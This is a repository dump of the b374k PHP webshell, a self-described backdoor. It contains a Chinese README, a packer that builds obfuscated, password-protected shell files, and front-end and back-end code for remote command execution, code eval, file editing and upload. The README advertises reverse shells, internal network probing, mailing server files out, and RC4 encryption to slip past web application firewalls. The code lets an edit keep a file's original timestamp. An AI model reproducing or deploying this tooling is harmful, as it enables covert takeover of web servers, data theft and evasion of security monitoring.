├── .gitignore ├── LICENSE.md ├── README.md ├── base ├── base.js ├── base.php ├── jsPacker.php ├── layout.php ├── localmain.js ├── localmain.php ├── main.js ├── main.php ├── resources.php ├── sortable.js └── zepto.js ├── index.php ├── module ├── convert.js ├── convert.php ├── database.js ├── database.php ├── info.js ├── info.php ├── mail.js ├── mail.php ├── network.js ├── network.php ├── processes.js └── processes.php └── theme ├── bluebook.css ├── bright.css ├── bterm.css ├── darkblue.css ├── default.css └── garuda.css /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | t.php 3 | wp.php 4 | new.php 5 | *.zip -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Aditya Kesuma 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # b374k webshell 4.1 2 | 3 | b374k webshell是一个非常实用的web管理工具(后门),所有的管理操作都通过HTTP协议进行。 4 | 5 | ## 特性 : 6 | * 文件管理 (查看、编辑、重命名、删除、上传、下载、打包、解压等) 7 | * 搜索文件夹、文件、文件内容 (支持正则) 8 | * 命令执行 9 | * 脚本执行 (php, perl, python, ruby, java, node.js, c) 10 | * 支持正向/反向 shell 11 | * 内附简单的发包功能(内网探测神器) 12 | * 多个数据库支持 (mysql, mssql, oracle, sqlite, postgresql 等 ODBC、 PDO 支持的数据库) 13 | * SQL可视化浏览器 14 | * 进程管理器(可列出/杀死) 15 | * 支持附件的邮件发送功能 (你可以将服务器上的文件作为附件发送) 16 | * 字符串转换功能 17 | * 所有的功能都继承于一个文件,无需安装 18 | * 通信过程简单加密,虽不能保证通信内容不被窃听,但可以绕过一些自动化WAF的检测 19 | * 支持 PHP > 4.3.3 || PHP 5 20 | * 支持手工指定编码,防止多语言下的乱码问题 21 | 22 | ## 需求 : 23 | * PHP version > 4.3.3 || PHP 5 24 | * 为了支持zepto.js v1.1.2,你需要使用现代浏览器访问b374k。你可以在官网查看 zepto.js 支持的浏览器: http://zeptojs.com/ 25 | * 其他需求取决于你要用这个shell做什么事情 26 | 27 | ## 安装 : 28 | 29 | b374k shell是一个可装卸的模块化webshell,你需要进行一些简单的配置,才可以生成webshell文件。 30 | 31 | 下载b374k项目,你可以在命令行下运行index.php,查看其帮助文档: 32 | 33 | ``` 34 | git clone https://github.com/phith0n/b374k.git 35 | cd b374k 36 | php -f index.php -- --help 37 | ``` 38 | 39 | 命令行参数说明: 40 | 41 | ``` 42 | $ php -f index.php 43 | b374k shell packer 0.4 44 | 45 | options : 46 | -o filename 指定生成文件名 47 | -p password 指定webshell密码 48 | -t theme 指定皮肤 49 | -m modules 指定模块,多个模块间用英文逗号分隔 50 | -s 是否清楚空白字符和注释 51 | -b 是否使用base64编码 52 | -z [no|gzdeflate|gzencode|gzcompress|rc4] 使用哪个压缩方式(需要开启 -b) 53 | -c [0-9] 压缩等级 54 | -l 列出所有可用的模块 55 | -k 列出所有可用的皮肤 56 | -u code 指定目标系统编码,如gb2312/utf-8等,默认utf-8 57 | ``` 58 | 59 | 例子: 60 | 61 | ``` 62 | php -f index.php -- -o myShell.php -p myPassword -s -b -z gzcompress -c 9 63 | ``` 64 | 65 | 或者,你可以直接从浏览器访问index.php,使用图形化界面生成你的webshell: 66 | 67 | ![](http://7xkhqo.com1.z0.glb.clouddn.com/2016-02-16-14556165692049.jpg) 68 | 69 | 请不要在生成环境使用这个webshell,使用完成后删除所有文件。因为该webshell是一个后门,所以并没有安全防范措施。(特别是index.php,不要让他人访问到了,切记) 70 | 71 | ### 使用RC4加密webshell 72 | 73 | 如果你使用了RC4加密方法(-z rc4),那么在生成webshell的时候,请记下RC4 Cipher Key: 74 | 75 | ![](http://7xkhqo.com1.z0.glb.clouddn.com/2016-02-16-14556170735375.jpg) 76 | 77 | 在访问该shell的时候需要带上RC4-KEY头: 78 | 79 | ![](http://7xkhqo.com1.z0.glb.clouddn.com/2016-02-16-14556171853058.jpg) 80 | 81 | 否则将无法正常访问该shell。 82 | 83 | ## 开发文档 : 84 | 无 85 | 86 | ## 升级日志 : 87 | 88 | - 20160216 / Ajax通信使用RC4加密通道,避免受到WAF影响 / @phith0n 89 | - 20160216 / 压缩方法中加入RC4,可防止他人分析webshell / @phith0n 90 | - 20160420 / 增加编码选项,以后中文再也不会乱码啦~ / @phith0n 91 | 92 | ## 老版本 : 93 | 94 | - https://github.com/b374k/b374k 95 | - https://code.google.com/p/b374k-shell/ 96 | 97 | 98 | -------------------------------------------------------------------------------- /base/base.js: -------------------------------------------------------------------------------- 1 | 2 | function action(path, type){ 3 | title = "Action"; 4 | content = ''; 5 | if(type=='file') content = "
editrenamedeletedownload
"; 6 | if(type=='dir') content = "
finduploadrenamedelete
"; 7 | if(type=='dot') content = "
finduploadrenamedeletenew filenew folder
"; 8 | show_box(title, content); 9 | xpl_bind(); 10 | } 11 | 12 | function navigate(path, showfiles){ 13 | if(showfiles==null) showfiles = 'true'; 14 | send_post({ cd:path, showfiles:showfiles }, function(res){ 15 | if(res!='error'){ 16 | splits = res.split('{[|b374k|]}'); 17 | if(splits.length==3){ 18 | $('#nav').html(splits[1]); 19 | if(showfiles=='true'){ 20 | $('#explorer').html(''); 21 | $('#explorer').html(splits[2]); 22 | sorttable.k($('#xplTable').get(0)); 23 | } 24 | $('#terminalCwd').html(html_safe(get_cwd())+'>'); 25 | xpl_bind(); 26 | window_resize(); 27 | } 28 | } 29 | }); 30 | } 31 | 32 | function view(path, type, preserveTimestamp){ 33 | if(preserveTimestamp==null) preserveTimestamp = 'true'; 34 | send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){ 35 | if(res!='error'){ 36 | $('#explorer').html(''); 37 | $('#explorer').html(res); 38 | xpl_bind(); 39 | show_tab('explorer'); 40 | if((type=='edit')||(type=='hex')){ 41 | editResult = (type=='edit')? $('#editResult'):$('#editHexResult'); 42 | if(editSuccess=='success'){ 43 | editResult.html(' ( File saved )'); 44 | } 45 | else if(editSuccess=='error'){ 46 | editResult.html(' ( Failed to save file )'); 47 | } 48 | editSuccess = ''; 49 | } 50 | cbox_bind('editTbl'); 51 | } 52 | }); 53 | } 54 | 55 | function view_entry(el){ 56 | if($(el).attr('data-path')!=''){ 57 | entry = $(el).attr('data-path'); 58 | $('#form').append(""); 59 | $('#form').submit(); 60 | $('#form').html(''); 61 | } 62 | } 63 | 64 | function ren(path){ 65 | title = "Rename"; 66 | content = "
Rename to
rename
"; 67 | show_box(title, content); 68 | } 69 | 70 | function ren_go(){ 71 | renameFile = $('.renameFile').val(); 72 | renameFileTo = $('.renameFileTo').val(); 73 | send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){ 74 | if(res!='error'){ 75 | navigate(res); 76 | $('.boxresult').html('Operation(s) succeeded'); 77 | $('.renameFile').val($('.renameFileTo').val()); 78 | } 79 | else $('.boxresult').html('Operation(s) failed'); 80 | }); 81 | } 82 | 83 | function newfolder(path){ 84 | title = "New Folder"; 85 | path = path + 'newfolder-' + time(); 86 | content = "
Folder Name
create
"; 87 | show_box(title, content); 88 | } 89 | 90 | function newfolder_go(){ 91 | newFolder = $('.newFolder').val(); 92 | send_post({newFolder:newFolder}, function(res){ 93 | if(res!='error'){ 94 | navigate(res); 95 | $('.boxresult').html('Operation(s) succeeded'); 96 | } 97 | else $('.boxresult').html('Operation(s) failed'); 98 | }); 99 | } 100 | 101 | function newfile(path){ 102 | title = "New File"; 103 | path = path + 'newfile-' + time(); 104 | content = "
File Name
create
"; 105 | show_box(title, content); 106 | } 107 | 108 | function newfile_go(){ 109 | newFile = $('.newFile').val(); 110 | send_post({newFile:newFile}, function(res){ 111 | if(res!='error'){ 112 | view(newFile, 'edit'); 113 | $('.boxresult').html('Operation(s) succeeded'); 114 | } 115 | else $('.boxresult').html('Operation(s) failed'); 116 | }); 117 | } 118 | 119 | function viewfileorfolder(){ 120 | title = "View File / Folder"; 121 | content = "
view
"; 122 | show_box(title, content); 123 | } 124 | 125 | function viewfileorfolder_go(){ 126 | entry = $('.viewFileorFolder').val(); 127 | send_post({viewFileorFolder:entry}, function(res){ 128 | if(res!='error'){ 129 | if(res=='file'){ 130 | view(entry, 'auto'); 131 | show_tab('explorer'); 132 | } 133 | else if(res=='folder'){ 134 | navigate(entry); 135 | show_tab('explorer'); 136 | } 137 | } 138 | }); 139 | } 140 | 141 | function del(path){ 142 | title = "Delete"; 143 | content = "
Delete
delete
"; 144 | show_box(title, content); 145 | } 146 | 147 | function delete_go(){ 148 | path = $('.delete').val(); 149 | send_post({delete:path}, function(res){ 150 | if(res!='error'){ 151 | navigate(res); 152 | $('.boxresult').html('Operation(s) succeeded'); 153 | } 154 | else $('.boxresult').html('Operation(s) failed'); 155 | }); 156 | } 157 | 158 | function find(path){ 159 | findfile = "

Find File

Search in
Filename contains
Regex  Case Insensitive
File contains
Regex  Case Insensitive
PermissionsReadable  Writable  Executable
explorerfind
"; 160 | findfolder = "

Find Folder

Search in
Foldername contains
Regex   Case Insensitive
PermissionsReadable  Writable  Executable
explorerfind
"; 161 | $('#explorer').html("
" +findfile+'
'+findfolder+'
'); 162 | cbox_bind('xplUpload'); 163 | } 164 | 165 | function find_go_file(){ 166 | find_go('file'); 167 | } 168 | 169 | function find_go_folder(){ 170 | find_go('folder'); 171 | } 172 | 173 | function find_go(findType){ 174 | findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val(); 175 | findResult = (findType=='file')? $('.findfileResult'):$('.findResult'); 176 | 177 | findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val(); 178 | findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString(); 179 | findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString(); 180 | 181 | findContent = (findType=='file')? $('.findfileContains').val():""; 182 | findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():""; 183 | findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():""; 184 | 185 | findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString(); 186 | findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString(); 187 | findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString(); 188 | 189 | send_post( 190 | { 191 | findType:findType, 192 | findPath:findPath, 193 | findName:findName, 194 | findNameRegex:findNameRegex, 195 | findNameInsensitive:findNameInsensitive, 196 | findContent:findContent, 197 | findContentRegex:findContentRegex, 198 | findContentInsensitive:findContentInsensitive, 199 | findReadable:findReadable, 200 | findWritable:findWritable, 201 | findExecutable:findExecutable 202 | }, 203 | function(res){ 204 | if(res!='error'){ 205 | findResult.html(res); 206 | } 207 | } 208 | ); 209 | } 210 | 211 | function ul_go_comp(){ 212 | ul_go('comp'); 213 | } 214 | 215 | function ul_go_url(){ 216 | ul_go('url'); 217 | } 218 | 219 | function ul(path){ 220 | ulcomputer = "

Upload From Computer (+)

explorerupload
Or Drag and Drop files here
"; 221 | ulurl = "

Upload From Url (+)

explorerupload
"; 222 | content = ulcomputer + '
' + ulurl + ""; 223 | $('#explorer').html(content); 224 | ul_add_comp(); 225 | ul_add_url(); 226 | 227 | $('#ulDragNDrop').on('dragenter', function(e){ 228 | e.stopPropagation(); 229 | e.preventDefault(); 230 | }); 231 | 232 | $('#ulDragNDrop').on('dragover', function(e){ 233 | e.stopPropagation(); 234 | e.preventDefault(); 235 | }); 236 | 237 | $('#ulDragNDrop').on('drop', function(e){ 238 | e.stopPropagation(); 239 | e.preventDefault(); 240 | 241 | files = e.target.files || e.dataTransfer.files; 242 | ulResult = $('.ulDragNDropResult'); 243 | ulResult.html(''); 244 | $.each(files, function(i){ 245 | if(this){ 246 | ulType = 'DragNDrop'; 247 | filename = this.name; 248 | 249 | var formData = new FormData(); 250 | formData.append('ulFile', this); 251 | formData.append('ulSaveTo', get_cwd()); 252 | formData.append('ulFilename', filename); 253 | formData.append('ulType', 'comp'); 254 | 255 | entry = "

> "+filename+" 

"; 256 | ulResult.append(entry); 257 | 258 | if(this.size<=0){ 259 | $('.ulProgress'+ulType+i).html('( failed )'); 260 | $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i); 261 | $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i); 262 | } 263 | else{ 264 | ul_start(formData, ulType, i); 265 | } 266 | } 267 | }); 268 | }); 269 | } 270 | 271 | function ul_add_comp(path){ 272 | path = html_safe($('.ul_path').val()); 273 | $('.ulcompadd').append("FileSave toFilename (Optional)"); 274 | } 275 | 276 | function ul_add_url(path){ 277 | path = html_safe($('.ul_path').val()); 278 | $('.ulurladd').append("File URLSave toFilename (Optional)"); 279 | } 280 | 281 | function ul_start(formData, ulType, i){ 282 | loading_start(); 283 | $.ajax({ 284 | url: targeturl, 285 | type: 'POST', 286 | data: formData, 287 | cache: false, 288 | contentType: false, 289 | processData: false, 290 | xhr: function(){ 291 | myXhr = $.ajaxSettings.xhr(); 292 | if(myXhr.upload){ 293 | myXhr.upload.addEventListener('progress', function(e){ 294 | percent = Math.floor(e.loaded / e.total * 100); 295 | $('.ulProgress'+ulType+i).html('( '+ percent +'% )'); 296 | }, false); 297 | } 298 | return myXhr; 299 | }, 300 | success: function(res){ 301 | if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){ 302 | res = 'error'; 303 | } 304 | 305 | if(res=='error'){ 306 | $('.ulProgress'+ulType+i).html('( failed )'); 307 | } 308 | else{ 309 | $('.ulRes'+ulType+i).html(res); 310 | } 311 | loading_stop(); 312 | }, 313 | error: function(){ 314 | loading_stop(); 315 | $('.ulProgress'+ulType+i).html('( failed )'); 316 | $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i); 317 | $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i); 318 | } 319 | }); 320 | } 321 | 322 | function ul_go(ulType){ 323 | ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl'); 324 | ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult'); 325 | ulResult.html(''); 326 | 327 | ulFile.each(function(i){ 328 | if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){ 329 | file = (ulType=='comp')? this.files[0]: this.value; 330 | filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1); 331 | 332 | ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value; 333 | ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value; 334 | 335 | var formData = new FormData(); 336 | formData.append('ulFile', file); 337 | formData.append('ulSaveTo', ulSaveTo); 338 | formData.append('ulFilename', ulFilename); 339 | formData.append('ulType', ulType); 340 | 341 | entry = "

> "+filename+" 

"; 342 | ulResult.append(entry); 343 | 344 | check = true; 345 | if(ulType=='comp'){ 346 | check = (file.size<=0); 347 | } 348 | else check = (file==""); 349 | 350 | if(check){ 351 | $('.ulProgress'+ulType+i).html('( failed )'); 352 | $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i); 353 | $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i); 354 | } 355 | else{ 356 | ul_start(formData, ulType, i); 357 | } 358 | } 359 | }); 360 | } 361 | 362 | function trap_ctrl_enter(el, e, callback){ 363 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ 364 | if(callback!=null) window[callback](); 365 | } 366 | fix_tabchar(el, e); 367 | } 368 | 369 | function edit_save_raw(){ 370 | edit_save('edit'); 371 | } 372 | 373 | function edit_save_hex(){ 374 | edit_save('hex'); 375 | } 376 | 377 | function edit_save(editType){ 378 | editFilename = $('#editFilename').val(); 379 | editInput = $('#editInput').val(); 380 | editSuccess = false; 381 | preserveTimestamp = 'false'; 382 | if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true'; 383 | send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp}, 384 | function(res){ 385 | if(res!='error'){ 386 | editSuccess = 'success'; 387 | view(editFilename, editType, preserveTimestamp); 388 | } 389 | else editSuccess = 'error'; 390 | } 391 | ); 392 | } 393 | 394 | 395 | 396 | function mass_act(type){ 397 | buffer = get_all_cbox_selected('xplTable', 'xpl_href'); 398 | 399 | if((type=='cut')||(type=='copy')){ 400 | localStorage.setItem('bufferLength', buffer.length); 401 | localStorage.setItem('bufferAction', type); 402 | $.each(buffer,function(i,v){ 403 | localStorage.setItem('buffer_'+i, v); 404 | }); 405 | } 406 | else if(type=='paste'){ 407 | bufferLength = localStorage.getItem('bufferLength'); 408 | bufferAction = localStorage.getItem('bufferAction'); 409 | if(bufferLength>0){ 410 | massBuffer = ''; 411 | for(var i=0;i"+title+" here"+title+""; 422 | show_box(ucfirst(title), content); 423 | } 424 | 425 | } 426 | else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){ 427 | if(type=='extract (tar)') arcType = 'untar'; 428 | else if(type=='extract (tar.gz)') arcType = 'untargz'; 429 | else if(type=='extract (zip)') arcType = 'unzip'; 430 | 431 | if(buffer.length>0){ 432 | massBuffer = ''; 433 | $.each(buffer,function(i,v){ 434 | massBuffer += v + '\n'; 435 | }); 436 | massBuffer = $.trim(massBuffer); 437 | title = type; 438 | 439 | content = "
Extract to
extract
"; 440 | show_box(ucfirst(title), content); 441 | } 442 | } 443 | else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){ 444 | date = new Date(); 445 | rand = date.getTime(); 446 | if(type=='compress (tar)'){ 447 | arcType = 'tar'; 448 | arcFilename = rand+'.tar'; 449 | } 450 | else if(type=='compress (tar.gz)'){ 451 | arcType = 'targz'; 452 | arcFilename = rand+'.tar.gz'; 453 | } 454 | else if(type=='compress (zip)'){ 455 | arcType = 'zip'; 456 | arcFilename = rand+'.zip'; 457 | } 458 | 459 | if(buffer.length>0){ 460 | massBuffer = ''; 461 | $.each(buffer,function(i,v){ 462 | massBuffer += v + '\n'; 463 | }); 464 | massBuffer = $.trim(massBuffer); 465 | title = type; 466 | 467 | content = "
Archive
compress
"; 468 | show_box(ucfirst(title), content); 469 | } 470 | } 471 | else if(type!=''){ 472 | if(buffer.length>0){ 473 | massBuffer = ''; 474 | $.each(buffer,function(i,v){ 475 | massBuffer += v + '\n'; 476 | }); 477 | massBuffer = $.trim(massBuffer); 478 | title = type; 479 | line = ''; 480 | if(type=='chmod') line = "chmod"; 481 | else if(type=='chown') line = "chown"; 482 | else if(type=='touch'){ 483 | var now = new Date(); 484 | line = "touch"; 485 | } 486 | 487 | content = ""+line+"
"+title+"
"; 488 | show_box(ucfirst(title), content); 489 | } 490 | } 491 | 492 | $('.cBoxSelected').removeClass('cBoxSelected'); 493 | xpl_update_status(); 494 | } 495 | 496 | function mass_act_go_tar(){ 497 | mass_act_go('tar'); 498 | } 499 | 500 | function mass_act_go_targz(){ 501 | mass_act_go('targz'); 502 | } 503 | 504 | function mass_act_go_zip(){ 505 | mass_act_go('zip'); 506 | } 507 | 508 | function mass_act_go_untar(){ 509 | mass_act_go('untar'); 510 | } 511 | 512 | function mass_act_go_untargz(){ 513 | mass_act_go('untargz'); 514 | } 515 | 516 | function mass_act_go_unzip(){ 517 | mass_act_go('unzip'); 518 | } 519 | 520 | function mass_act_go_paste(){ 521 | mass_act_go('paste'); 522 | } 523 | 524 | function mass_act_go_chmod(){ 525 | mass_act_go('chmod'); 526 | } 527 | 528 | function mass_act_go_chown(){ 529 | mass_act_go('chown'); 530 | } 531 | 532 | function mass_act_go_touch(){ 533 | mass_act_go('touch'); 534 | } 535 | 536 | function mass_act_go(massType){ 537 | massBuffer = $.trim($('.massBuffer').val()); 538 | massPath = get_cwd(); 539 | massValue = ''; 540 | if(massType=='paste'){ 541 | bufferLength = localStorage.getItem('bufferLength'); 542 | bufferAction = localStorage.getItem('bufferAction'); 543 | if(bufferLength>0){ 544 | massBuffer = ''; 545 | for(var i=0;i"); 671 | $('#form').submit(); 672 | $('#form').html(''); 673 | hide_box(); 674 | }); 675 | 676 | $('.ul').off('click'); 677 | $('.ul').on('click', function(e){ 678 | path = xpl_href($(this)); 679 | navigate(path, false); 680 | path = html_safe(path); 681 | ul(path); 682 | hide_box(); 683 | }); 684 | 685 | $('.find').off('click'); 686 | $('.find').on('click', function(e){ 687 | path = xpl_href($(this)); 688 | navigate(path, false); 689 | path = html_safe(path); 690 | find(path); 691 | hide_box(); 692 | }); 693 | 694 | $('#massAction').off('click'); 695 | $('#massAction').on('change', function(e){ 696 | type = $('#massAction').val(); 697 | mass_act(type); 698 | $('#massAction').val('Action'); 699 | }); 700 | 701 | cbox_bind('xplTable','xpl_update_status'); 702 | } 703 | 704 | function xpl_href(el){ 705 | return el.parent().parent().attr('data-path'); 706 | } 707 | 708 | function multimedia(path){ 709 | var a = $('video').get(0); 710 | send_post({multimedia:path}, function(res){ 711 | a.src = res; 712 | }); 713 | hide_box(); 714 | } 715 | 716 | $('#terminalInput').on('keydown', function(e){ 717 | if(e.keyCode==13){ 718 | cmd = $('#terminalInput').val(); 719 | terminalHistory.push(cmd); 720 | terminalHistoryPos = terminalHistory.length; 721 | if(cmd=='clear'||cmd=='cls'){ 722 | $('#terminalOutput').html(''); 723 | } 724 | else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){ 725 | path = $.trim(path[1]); 726 | navigate(path); 727 | } 728 | else if(cmd!=''){ 729 | send_post({ terminalInput: cmd }, function(res){ 730 | cwd = html_safe(get_cwd()); 731 | res = ''+cwd+'>'+html_safe(cmd)+ '\n' + res+'\n'; 732 | $('#terminalOutput').append(res); 733 | bottom = $(document).height()-$(window).height(); 734 | $(window).scrollTop(bottom); 735 | }); 736 | } 737 | $('#terminalInput').val(''); 738 | setTimeout("$('#terminalInput').focus()",100); 739 | } 740 | else if(e.keyCode==38){ 741 | if(terminalHistoryPos>0){ 742 | terminalHistoryPos--; 743 | $('#terminalInput').val(terminalHistory[terminalHistoryPos]); 744 | if(terminalHistoryPos<0) terminalHistoryPos = 0; 745 | } 746 | } 747 | else if(e.keyCode==40){ 748 | if(terminalHistoryPosterminalHistory.length) terminalHistoryPos = terminalHistory.length; 752 | } 753 | } 754 | fix_tabchar(this, e); 755 | }); 756 | 757 | function eval_go(){ 758 | evalType = $('#evalType').val(); 759 | evalInput = $('#evalInput').val(); 760 | evalOptions = $('#evalOptions').val(); 761 | evalArguments = $('#evalArguments').val(); 762 | 763 | if(evalOptions=='Options/Switches') evalOptions = ''; 764 | if(evalArguments=='Arguments') evalArguments = ''; 765 | 766 | if($.trim(evalInput)!=''){ 767 | send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments }, 768 | function(res){ 769 | if(res!='error'){ 770 | splits = res.split('{[|b374k|]}'); 771 | if(splits.length==2){ 772 | output = splits[0]+"
"+splits[1]; 773 | $('#evalOutput').html(output); 774 | } 775 | else{ 776 | $('#evalOutput').html(res); 777 | } 778 | } 779 | } 780 | ); 781 | } 782 | } 783 | 784 | function eval_init(){ 785 | if((evalSupported = localStorage.getItem('evalSupported'))){ 786 | eval_bind(); 787 | output("eval : "+evalSupported); 788 | evalReady = true; 789 | } 790 | else{ 791 | send_post({evalGetSupported:"evalGetSupported"}, function(res){ 792 | evalReady = true; 793 | if(res!="error"){ 794 | localStorage.setItem('evalSupported', res); 795 | evalSupported = res; 796 | eval_bind(); 797 | output("eval : "+evalSupported); 798 | } 799 | }); 800 | } 801 | } 802 | 803 | function eval_bind(){ 804 | if((evalSupported!=null)&&(evalSupported!='')){ 805 | splits = evalSupported.split(","); 806 | $.each(splits, function(i, k){ 807 | $('#evalType').append(""); 808 | }); 809 | } 810 | $('#evalType').on('change', function(e){ 811 | if($('#evalType').val()=='php'){ 812 | $('#evalAdditional').hide(); 813 | } 814 | else{ 815 | $('#evalAdditional').show(); 816 | } 817 | }); 818 | $('#evalOptions').on('focus', function(e){ 819 | options = $('#evalOptions'); 820 | if(options.val()=='Options/Switches') options.val(''); 821 | }); 822 | $('#evalOptions').on('blur', function(e){ 823 | options = $('#evalOptions'); 824 | if($.trim(options.val())=='') options.val('Options/Switches'); 825 | }); 826 | $('#evalArguments').on('focus', function(e){ 827 | args = $('#evalArguments'); 828 | if(args.val()=='Arguments') args.val(''); 829 | }); 830 | $('#evalArguments').on('blur', function(e){ 831 | args = $('#evalArguments'); 832 | if($.trim(args.val())=='') args.val('Arguments'); 833 | }); 834 | 835 | $('#evalInput').on('keydown', function(e){ 836 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ 837 | eval_go(); 838 | } 839 | fix_tabchar(this, e); 840 | }); 841 | } -------------------------------------------------------------------------------- /base/base.php: -------------------------------------------------------------------------------- 1 |
".get_cwd().">
"; 43 | 44 | 45 | $GLOBALS['module']['eval']['id'] = "eval"; 46 | $GLOBALS['module']['eval']['title'] = "Eval"; 47 | $GLOBALS['module']['eval']['js_ontabselected'] = " 48 | if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();"; 49 | $GLOBALS['module']['eval']['content'] = " 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 61 | 62 | 63 | 68 | 71 | 72 | 73 | 75 |

Eval

58 | 59 | 60 |
64 | 67 | 69 | run 70 |
You can also press ctrl+enter to submit
74 |
76 | "; 77 | 78 | $res = ""; 79 | if(isset($p['cd'])){ 80 | $path = $p['cd']; 81 | if(trim($path)=='') $path = dirname(__FILE__); 82 | 83 | $path = realpath($path); 84 | if(is_file($path)) $path = dirname($path); 85 | if(is_dir($path)){ 86 | chdir($path); 87 | $path = $path.DIRECTORY_SEPARATOR; 88 | setcookie("cwd", $path); 89 | $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; 90 | if(isset($p['showfiles'])&&($p['showfiles']=='true')){ 91 | $res .= show_all_files($path); 92 | } 93 | } 94 | else $res = "error"; 95 | output($res); 96 | } 97 | elseif(isset($p['viewFile']) && isset($p['viewType'])){ 98 | $path = trim($p['viewFile']); 99 | $type = trim($p['viewType']); 100 | $preserveTimestamp = trim($p['preserveTimestamp']); 101 | if(is_file($path)){ 102 | $res = view_file($path, $type, $preserveTimestamp); 103 | } 104 | else $res = "error"; 105 | output($res); 106 | } 107 | elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){ 108 | $renameFile = trim($p['renameFile']); 109 | $renameFileTo = trim($p['renameFileTo']); 110 | if(file_exists($renameFile)){ 111 | if(rename($renameFile, $renameFileTo)){ 112 | $res = dirname($renameFileTo); 113 | } 114 | else $res = "error"; 115 | } 116 | else $res = "error"; 117 | output($res); 118 | } 119 | elseif(isset($p['newFolder'])){ 120 | $newFolder = trim($p['newFolder']); 121 | if(mkdir($newFolder)){ 122 | $res = dirname($newFolder); 123 | } 124 | else $res = "error"; 125 | output($res); 126 | } 127 | elseif(isset($p['newFile'])){ 128 | $newFile = trim($p['newFile']); 129 | if(touch($newFile)){ 130 | $res = dirname($newFile); 131 | } 132 | else $res = "error"; 133 | output($res); 134 | } 135 | elseif(isset($p['delete'])){ 136 | $path = trim($p['delete']); 137 | $dirname = dirname($path); 138 | if(is_file($path)){ 139 | if(unlink($path)) $res = $dirname; 140 | } 141 | elseif(is_dir($path)){ 142 | if(rmdirs($path)>0) $res = $dirname; 143 | } 144 | else $res = "error"; 145 | if(file_exists($path)) $res = "error"; 146 | output($res); 147 | } 148 | elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){ 149 | $editFilename = trim($p['editFilename']); 150 | $editInput = trim($p['editInput']); 151 | $editType = trim($p['editType']); 152 | $preserveTimestamp = trim($p['preserveTimestamp']); 153 | $time = filemtime($editFilename); 154 | if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput)); 155 | if(write_file($editFilename, $editInput)){ 156 | $res = $editFilename; 157 | if($preserveTimestamp=='true') touch($editFilename, $time); 158 | } 159 | else $res = "error"; 160 | output($res); 161 | } 162 | elseif(isset($p['findType'])){ 163 | $findType = trim($p['findType']); 164 | $findPath = trim($p['findPath']); 165 | $findName = trim($p['findName']); 166 | $findNameRegex = 